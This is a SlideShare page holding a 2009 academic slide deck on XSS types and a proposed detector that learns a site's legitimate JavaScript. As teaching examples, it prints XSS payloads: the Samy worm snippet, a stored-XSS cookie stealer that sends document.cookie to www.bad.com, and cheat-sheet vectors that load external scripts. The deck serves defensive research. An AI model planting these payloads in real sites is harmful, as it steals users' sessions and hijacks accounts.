OWASP Plan - Strawman

  • 2,991 views
Uploaded on

 

  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Be the first to comment
    Be the first to like this
No Downloads

Views

Total Views
2,991
On Slideshare
0
From Embeds
0
Number of Embeds
0

Actions

Shares
Downloads
11
Comments
0
Likes
0

Embeds 0

No embeds

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
    No notes for slide
  • MySpace filter was quite simple and did not stop Samy payload. XSS viruses propagate differently and do not cause wide network saturation that hampers infection rate. Traffic to/form web-server and not between peers.
  • It is worth mentioning that no malicious content is sent by the victim (as opposed to reflected XSS)
  • Input validation Positive security model. check all input for length, type, syntax, and business rules before accepting the data to be displayed or stored. Output encodingescaping " Escaping " is a technique used to ensure that characters are treated as data. Noxes Noxes provides an additional layer of protection that existing personal firewall do not support. a web proxy that fetches HTTP requests on behalf of the user’s browser. all web connections of the browser pass through Noxes and can either be blocked or allowed based on the current security policy.

Transcript

  • 1. A new approach to XSS Detection using JavaScript Modeling Ofer Rotberg [email_address] David Movshovitz [email_address] IDC September 2009
  • 2. Agenda
    • Background and Motivation
    • Current Solutions…and drawbacks
    • Our Approach
    • Evaluation and Results
    • Conclusion & Further Work
  • 3. Standards (?)
    • HTTP
      • Stateless
      • GET, POST
    • HTML
      • Blends together code (e.g., JavaScript, Flash) & data .
      • 4 prevailing HTML rendering implementations:
        • Trident (MSHTML) - used in MSIE6, MSIE7, MSIE8.
        • Gecko - used in Firefox and derivates.
        • WebKit - used by Safari, Chrome, Android.
        • Presto - used in Opera.
      • Different “ forgiving policy ” among implementations.
  • 4. Web Application Vulnerabilities Source:IBM Internet Security Systems X-Force® 2008 Trend & Risk Report
  • 5. Closer Look Source: “WhiteHat Website Security Statistic Reports”, Dec 2008
  • 6. Attackers Prefer the Application Layer
    • The application layer is the weakest link – no generic defense mechanism.
    • The application layer leads the attacker directly to the data .
    • A plethora of freely available web applications.
    • Very simple to perform.
    • Every input has the potential to be an attack vector.
    • In order to (really) fix must change code (On average, 60 days to repair XSS vulnerability).
  • 7. MySpace.com virus (a.k.a Samy worm)
    • Date : October 5, 2005.
    • Target : force users to become my friends.
    • Samy inserted raw HTML into his profile.
      • <div id=&quot;mycode&quot; expr=&quot;alert('hah!')&quot; style=&quot;background:url('java script:eval(document.all.mycode.expr)')&quot;>
    • The payload adds Samy to visitor’s friends and copy itself to visitor’s profile.
    • MySpace was forced to shutdown its website, fix the vulnerability, and perform clean up.
    Source: XSS WORMS AND VIRUSES The Impending Threat and the Best Defense, APRIL 2006 , Jeremiah Grossman.
  • 8. XSS in Details
    • Three known types:
      • Reflected (Non-Persistent)
      • Stored (Persistent)
      • DOM Based (Local)
    • The target is to run hostile JavaScript on the victims browser.
    • JavaScript malware can:
      • Steal Cookie
      • Map internal networks
      • Spread like a worm
  • 9. Reflected XSS
    • Request
      • http://www.website.com/ index.php?name=Jim
    • Response
      • <html>
        • <body>
        • Hello, Jim
        • ...
    • Request
      • http://www.website.com/index.php?name=Jim<script>alert(&quot;XSS&quot;)</script>
    • Response
      • <html>
        • <body>
          • Hello, Jim
          • <script>alert(&quot;XSS&quot;)</script>
          • ...
    • Browser – assumes server doesn’t send malicious content
      • Parse HTML – build DOM
      • Fetch resources and execute them.
  • 10. Stored XSS
  • 11. Stored XSS
    • Trudy posts the following text on a message board:
        • Great message!
        • <script>
          • var img=new Image();
          • img.src= &quot;http://www.bad.com/CookieStealer/Form1.aspx?s= &quot;+document.cookie;
        • </script>
    • When Bob views the posted message, his browser executes the malicious script, and his session cookie is sent to Trudy
  • 12. DOM-Based XSS
    • First published by Amit Klein (http://www.webappsec.org/projects/articles/071105.shtml)
    • http://victim/promo?product_id=100&title= Last+Chance
    • http://victim/promo?product_id=100&title= Foo#<SCRIPT>alert('XSS') </SCRIPT>
      • <script>
          • var url = window.location.href;
          • var pos = url.indexOf(&quot;title=&quot;) + 6;
          • var len = url.length;
          • var title_string = url.substring(pos,len);
          • document.write(title_string);
      • </script>
    pos len Last Chance ! xss
  • 13. Current Solutions
    • XSS is a sub-problem of Insufficient Input Validation.
    • Server-Side Application
      • Static/Dynamic code analysis (white box)
      • Web application scanners (black box)
    • Server-Side Proxy
      • Input validation
      • EscapingOutput encoding (‘<‘  &lt)
      • HTTP-request anomaly detection
    • Client-Side
      • Disable JS.
      • Noxes - a web proxy that fetches HTTP requests and can either block or allow based on current security policy.
  • 14. Problems with current solutions
    • Escaping -
      • Good practice ! But,
      • Many web-application permit and return HTML tags (<b>, <ul>…)
      • What about URI scheme like javascript:
    • Blacklisting (negative logic) is difficult
      • <SCRIPT/SRC=&quot;http://ha.ckers.org/xss.js&quot;></SCRIPT>
      • <IMG SRC=&quot;javascript:alert('XSS');&quot;>
      • <BODY ONLOAD=alert('XSS')>
      • … and 100+ more attack vectors in RSnake’s XSS Cheatsheet .
      • An effective filter must also ensure that is does not introduces new scripts
        • Before: <img src=&quot;. . . &quot; target=&quot; onload=&quot;malicious script&quot;>
        • After: <img src=&quot;. . . &quot; onload=&quot;malicious script&quot;>
  • 15. Problems with current solutions (cont.)
    • Focusing only on HTTP-request is problematic
      • Even if an attack was detected, it doesn’t mean it will actually occur (false positive).
      • What about Stored XSS attacks ?
    • Client-side solutions
      • Deployment
      • Browser modifications/integration.
  • 16. Problems with current solutions (cont.) GET http://bank.com/main.php?uName=Jack
    • Main()
    • echo (“<SCRIPT>”)
    • echo (“Document.write(
    • “ Hello” + $uName);”)
    • echo (“</SCRIPT>
    Hello Jack <script> Document.write(“Hello” + “Jack”); </script>
  • 17. Problems with current solutions (cont.) GET http://bank.com/main.php?uName=Jack ”);alert(‘xss!’)
    • Main()
    • echo (“<SCRIPT>”)
    • echo (“Document.write(
    • “ Hello” + $uName);”)
    • echo (“</SCRIPT>
    Hello Jack <script> Document.write(“Hello” + “Jack ”); alert(‘xss’) ; </script> xss!
  • 18. Our Approach
    • Positive security logic
      • Anything is illegal unless known to be legal
    • Focus on HTTP response
    • Model – code-script elements in HTML web-pages
      • Assumption: the set of all instances of code-script elements is bounded and can be learned in a relative short period.
      • 1st try – JavaScript code is static.
      • 2nd try – JavaScript code is static under some transformation.
  • 19. Detector Architecture
  • 20. X SS Attack Detection
    • Learning mode
      • For each extracted JS:
        • Learn regular form.
        • Learn canonicalized form.
      • Three concerns
        • Coverage
        • Updating
          • Deploy detector in testing environment.
          • Perform deeper inspection.
        • Learning data-set should be with no malicious JS
    • Detection mode
      • For each unknown JS do:
        • Further inspection.
        • Strip out
        • Inform web-admin
  • 21. Deployment options
    • Web proxy
      • Protect a single web-application
    • Integration with the browser
      • JS extraction is done by browser.
      • Defend against DOM-based XSS.
      • Improved performance.
    Web Application Web Proxy Client
  • 22. Evaluation Methodology
    • FP
      • Choose top-ranked 40 web-application.
      • Crawl each web application
      • Learn each web-page & build code-elements DB
      • Perform 2 tests:
        • Convergence test: #pages to needed to learn all JS.
        • FP test: FP = (#pages causing alarm)/(#pages).
    • FN
      • Test detector against RSnake’s cheat-sheet.
      • Choose vulnerable application from xssed.com
      • Generate benign-input and attack-input.
      • Learn with benign.
      • Detect with attack. Each result was also checked manually.
  • 23. Results
    • Zero FP
    • FN – all attacks were detected.
  • 24. Conclusion
    • Zero FP under canonicalization
    • Generic - targets all types of XSS
      • Even DOM-Based could be mitigated if web proxy is deployed on client side.
    • Fast convergence – short learning period
      • Number of canonicalized JS nodes is bounded.
      • Most JS nodes appear in every page (“building blocks”).
  • 25. Thanx ! Ofer Rotberg IDC [email_address] September 2009
  • 26. Some More Related Work
    • Vulnerability analysis: find vulnerable source-sink pairs e.g., saner: Livshits et al. Usenix 2005, Pixy N. Jovanovic et al. S&P2006, Y. Xie et al. Usenix 2006, D. Balzarotti et al. CCS 2007...
        • Useful but limited to detection
    • Server side solutions: filter based or track taint & disallow at sink : W . Xu et al. Usenix 2006, …
        • Centralized defense but do not know all scripts
    • Client side solutions: Firewall like mechanisms to prevent malicious actions at client
        • Noxes E. Kirda, et al. SAC 2006, P. Vogt et al. NDSS 2007
        • User controlled protection but do not know intended scripts
    • Client-Server collaborative solutions: Clients enforce application specified policies
        • BEEP T. Jim, et al. WWW 2007, Tahoma R. Cox et al. S&P 2006, Browsershield C. Reis et al. OSDI 2006
        • Can determine intended and all scripts but deployment issues